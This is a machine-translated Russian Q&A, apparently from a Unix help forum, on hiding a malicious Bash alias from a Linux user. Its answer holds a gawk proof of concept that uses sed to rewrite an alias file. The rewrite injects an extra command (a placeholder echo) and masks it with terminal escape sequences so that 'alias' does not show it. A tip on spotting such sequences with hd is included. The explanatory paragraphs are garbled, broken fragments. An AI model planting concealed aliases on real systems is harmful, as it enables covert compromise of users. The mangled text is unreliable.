Можно ли скрыть существование вредоносного псевдонима в Bash в системе Linux и выполнить его пользователем без его ведома?
Можно ли скрыть существование вредоносного псевдонима в Bash в системе Linux и выполнить его пользователем без его ведома?
Ответы:
Это можно сделать, добавив существующий псевдоним к вредоносному и используя перемещение курсора, чтобы скрыть его, если aliasкоманда используется для отображения определений псевдонимов. Это не совсем надежный метод, но он может остаться незамеченным некоторое время. Трубопровод aliasчерез hdпокажет вам , есть ли какие - либо управляющие последовательности (движения курсора) в ваших псевдонимов. Вот подтверждение концепции того, как вредоносная команда может быть вставлена в псевдоним:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sedизменяет файл под названием «псевдонимы» на месте - настоящий сценарий этого типа может пойти на горло и изменить настоящий файл сценария, чтобы вредоносный псевдоним был активирован при следующем запуске.hideаргумента в качестве аргумента, поэтому вполне возможно, что вы можете получить ошибку, аналогичную той, о которой сообщалось в этом вопросе . Возможно, удастся изменить исходные и вредоносные части, чтобы повлиять на это, хотя это будет мешать аргументам, предоставляемым псевдониму. В приведенном выше сценарии сделана попытка пометить конец аргументов с помощью --.&&, вы можете трубы одного к другим и сделать вредоносный скрипт (представленный выше , с помощью простой echoкоманды) функции как stdinдля stdoutсквозных либо изменить данные , как это происходит через или скрыть его существование дальше, не мешая другому перенаправлениюhideСтрока может быть изменена , чтобы включать другое перемещение курсора и текст оригинального псевдонима , поэтому aliasкоманда будет появляться , чтобы показать немодифицированный псевдоним вместо сокрытия его вместе с вредоносными части.. aliases. Затем вы можете попытаться использовать затронутый псевдоним и посмотреть, как он выглядит, когда вы делаете alias|hd.